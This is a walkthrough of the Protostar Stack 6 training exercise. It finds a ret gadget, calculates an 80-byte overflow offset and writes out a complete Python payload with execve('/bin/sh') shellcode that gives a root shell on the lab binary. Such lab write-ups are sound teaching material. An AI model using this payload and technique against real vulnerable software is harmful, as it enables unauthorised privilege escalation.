Exploit Exercises — Protostar Stack 6
We can see the binary uses a function __builtin_return_address()
. This function returns the return address of the current function. Read more about it here.
The program looks almost like stack5
with a small difference:
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
If the return address starts with 0xff
of 0xbf
the program stops. Check the result of &
operation using python
:
$ python -c "print hex(0xffffffff & 0xbf000000)"
0xbf000000
$ python -c "print hex(0xbfffffff & 0xbf000000)"
0xbf000000
If we run gdb
and look at registers after execution of the program we see that 0xbf******
is simply stack addresses:
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6
...
(gdb) info registers
...
esp 0xbffff690 0xbffff690
ebp 0xbffff698 0xbffff698
...
That means that if the return address points to the stack, the program exits. That’s why we were told to use ret2libc
or ROP
. I have an article on this topic I will about it some time later. Actually, they didn’t mention one more way - jmp esp
technique. In this case, the return address (address of the gadget jmp esp
) will not be on the stack, it can be found anywhere, even in a shared library. Actually it semi-ROP technique and it’s pretty easy to do, so this is how I did this task.
To be a bit clearer I need to explain how it works.
Every function has an epilogue and a prologue. An epilogue looks like this:
push ebp
mov ebp, esp
It saves old ebp
and moves epb
“closer” to esp
(equal actually) so that a new function had a new stack base address.
A prologue looks like this:
mov esp, ebp
pop ebp
ret
It cleares local variables (vis mov esp, ebp
) and restores ebp
. When our program runs ret
instruction it already has esp
register restored. It will point to the return address on the stack. After ret
is executed, esp
register is reduced by 4 bytes (the size of the address in 32-bit system). So if our exploit looks like JUNK + RET + SHELLCODE
, esp
will point to the shellcode.
Now we need to find jmp esp
gadget. I’ll be using peda as it more informative than standard gdb
and has some other features.
I copied the executable file to my local machine to find offsets:
$ scp user@<ip>:/opt/protostar/bin/stack6 ./
From the command below we know that our stack has no NX bit set:
$ scanelf -e stack6
TYPE STK/REL/PTL FILE
ET_EXEC **RWX** --- RW- stack6
Additionally, you can install and run exectack
program:
$ sudo apt install execstack
$ execstack stack6
X stack6
That means that we can execute code from the stack.
Now we run gdb
and look for gadgets:
$ gdb stack6
...
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: stack6-rop.txt ...
0x80484f9: ret
0x804835e: leave; ret
0x80484f7: dec ecx; ret
0x8048453: pop ebp; ret
0x8048480: ror cl,1; ret
0x8048512: in eax,0x5d; ret
0x804857b: sbb al,0x24; ret
0x804857a: mov ebx,[esp]; ret
...
0x80484f4: enter 0xfffe,0xff; leave; ret
0x8048576: pop esi; pop edi; pop ebp; ret
--More--(25/85)
We see that there is no jmp esp
gadget, but the first one is ret
, and it looks promising. It is not on the stack and it will jump to the next address on the stack. If you use it, then our exploit should look like JUNK + ADDR_OF_GADGET + ADDR_OF_SHELLCODE + SHELLCODE
.
The address of the gadget ret
is 0x80484f9
Now we find offset before eip
like we did for stack5:
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/exploit.txt
$ gdb stack6
...
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Program received signal SIGSEGV, Segmentation fault.
**0x37634136** in ?? ()
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q **0x37634136**
[*] Exact match at offset **80**
So we need to rewrite 80 bytes. Now we can create our shellcode:
python -c "print 'A'*80 + '\xf9\x84\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
Addresses in debugger might distiguish beacuse of environment variables. So we need to unset unneeded variables and run the program:
(gdb) show env
LINES=42
COLUMNS=71
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffbe4: 0xdb31c031
So the shellcode is at 0xbffffbe4
. Repalce AAAA
with this address. Don’t forget we are on little-endian machine:
python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
Run program with exploit.txt
as input and get root:
$ /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Also you can run exploit like this:
(python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"; cat;) | /opt/protostar/bin/stack6